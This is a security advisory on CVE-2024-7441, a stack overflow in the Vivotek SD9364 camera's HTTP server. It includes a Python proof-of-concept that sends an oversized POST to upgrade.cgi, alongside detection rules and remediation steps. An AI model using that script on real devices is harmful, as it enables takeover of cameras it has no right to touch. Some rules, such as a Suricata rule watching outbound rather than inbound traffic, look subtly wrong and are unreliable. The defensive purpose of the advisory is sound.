CVE-2024-7441

Executive Summary

CVE-2024-7441 is a critical, publicly disclosed stack-based buffer overflow vulnerability in the Vivotek SD9364 network camera running firmware version VVTK-0103f. The flaw resides in the httpd component's handling of the Content-Length HTTP header, allowing a remote, unauthenticated attacker to trigger a buffer overflow. The vendor has confirmed the affected product is End-of-Life (EOL) and will not issue a patch. The vulnerability is classified as UNSUPPORTED WHEN ASSIGNED, meaning no official fix will be released. A proof-of-concept (PoC) exploit has been published, increasing the risk of active exploitation in the wild.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue specific to an EOL embedded device.

CVSS Breakdown & Threat Level

The NVD has not assigned a CVSS vector or score. Based on the vulnerability characteristics (remote, unauthenticated, stack-based buffer overflow leading to potential code execution), the estimated CVSS v3.1 score is 9.8 (Critical).

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical. The exploit is public, the product is EOL, and no patch exists. Immediate isolation of affected devices is required.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the HTTP daemon (httpd) of the Vivotek SD9364 camera. The httpd process parses incoming HTTP requests and reads the Content-Length header to determine the size of the request body. Due to insufficient bounds checking, a maliciously crafted Content-Length value (e.g., an extremely large integer or a negative value) can cause the read function to copy data beyond the allocated stack buffer, overwriting the return address and other critical stack data.

Attack Flow:

1. Attacker sends an HTTP request to the camera's web interface (port 80 or 443).
2. The request includes a Content-Length header with a value that triggers the overflow (e.g., a value larger than the internal buffer).
3. The httpd process reads the request body into a fixed-size stack buffer.
4. The overflow corrupts the stack, allowing the attacker to control the program's execution flow.
5. The attacker can then execute arbitrary code with the privileges of the httpd process (typically root).

Vulnerable vs. Patched Code

Vulnerable Code (VVTK-0103f):

// Simplified vulnerable code
void handle_request() {
    char buffer[256];
    int content_length = atoi(get_header("Content-Length"));
    // No bounds check on content_length
    read(socket, buffer, content_length); // Stack overflow
}

Patched Code (Not available):

// Hypothetical patched code
void handle_request() {
    char buffer[256];
    int content_length = atoi(get_header("Content-Length"));
    if (content_length > sizeof(buffer) - 1) {
        send_error("413 Request Entity Too Large");
        return;
    }
    read(socket, buffer, content_length);
}

Since the product is EOL, no official patch exists. The only mitigation is to replace or isolate the device.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Vivotek SD9364 camera on the same network.
• Python 3 with socket and struct libraries.

Exploit Code (PoC):

#!/usr/bin/env python3
import socket
import struct

target_ip = "192.168.1.100"
target_port = 80

# Craft a malicious HTTP request with a large Content-Length
payload = b"A" * 300  # Overflow buffer
http_request = (
    b"POST /cgi-bin/admin/upgrade.cgi HTTP/1.1\r\n"
    b"Host: " + target_ip.encode() + b"\r\n"
    b"Content-Length: 300\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"\r\n"
    + payload
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(http_request)
response = sock.recv(4096)
print(response.decode(errors='ignore'))
sock.close()

Usage:

1. Replace target_ip with the camera's IP address.
2. Run the script: python3 exploit.py
3. The camera's httpd process will crash or execute arbitrary code if the payload is crafted to overwrite the return address.

Blue Team (Detection & Hardening)

Detection:

• Monitor for HTTP requests with abnormally large Content-Length headers (e.g., > 1024 bytes).
• Alert on repeated crashes of the httpd process on Vivotek cameras.
• Use network intrusion detection systems (NIDS) to flag suspicious POST requests to /cgi-bin/ endpoints.

Hardening:

• Immediately isolate all Vivotek SD9364 cameras from the network.
• Replace EOL devices with supported alternatives.
• If isolation is not possible, restrict access to the camera's web interface via firewall rules (allow only trusted IPs).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with Content-Length > 1024 bytes.
  • Repeated HTTP POST requests to /cgi-bin/ endpoints.
  • Unusual outbound connections from the camera (e.g., to unknown IPs on port 4444 or 31337).
• Host IOCs:
  • Crash logs of the httpd process.
  • Unexpected processes running on the camera (e.g., reverse shell).
  • Modified firmware or configuration files.

Detection Engineering

YARA Rule

rule CVE_2024_7441_Vivotek_Httpd_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2024-7441 in network traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7441"
    strings:
        $http_header = "Content-Length:" ascii wide nocase
        $large_value = /Content-Length:\s*[0-9]{4,}/ ascii wide nocase
    condition:
        $http_header and $large_value
}

Sigma Rule

title: CVE-2024-7441 - Vivotek SD9364 HTTP Content-Length Overflow
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with abnormally large Content-Length headers targeting Vivotek cameras
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/cgi-bin/'
        sc-status: 200
        cs-header|contains: 'Content-Length:'
    condition: selection and cs-header|re: 'Content-Length:\s*[0-9]{4,}'
falsepositives:
    - Legitimate large file uploads (unlikely for camera)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-7441 - Vivotek SD9364 HTTP Content-Length Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/"; http_uri;
    content:"Content-Length"; http_header;
    pcre:"/Content-Length:\s*[0-9]{4,}/";
    sid:1000001;
    rev:1;
    reference:cve,2024-7441;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate all Vivotek SD9364 cameras from the network (air-gap or VLAN with strict ACLs).
2. Replace EOL devices with supported, patched alternatives.
3. Monitor network traffic for exploitation attempts using the provided detection rules.

Long-Term Actions:

• Implement a hardware lifecycle management policy to prevent EOL devices from remaining on the network.
• Use network segmentation to limit exposure of IoT/embedded devices.
• Deploy a Web Application Firewall (WAF) to block oversized Content-Length headers.

Note: No patch is available. The vendor has confirmed the product is End-of-Life. Continued use of this device poses a significant security risk.

Valters IT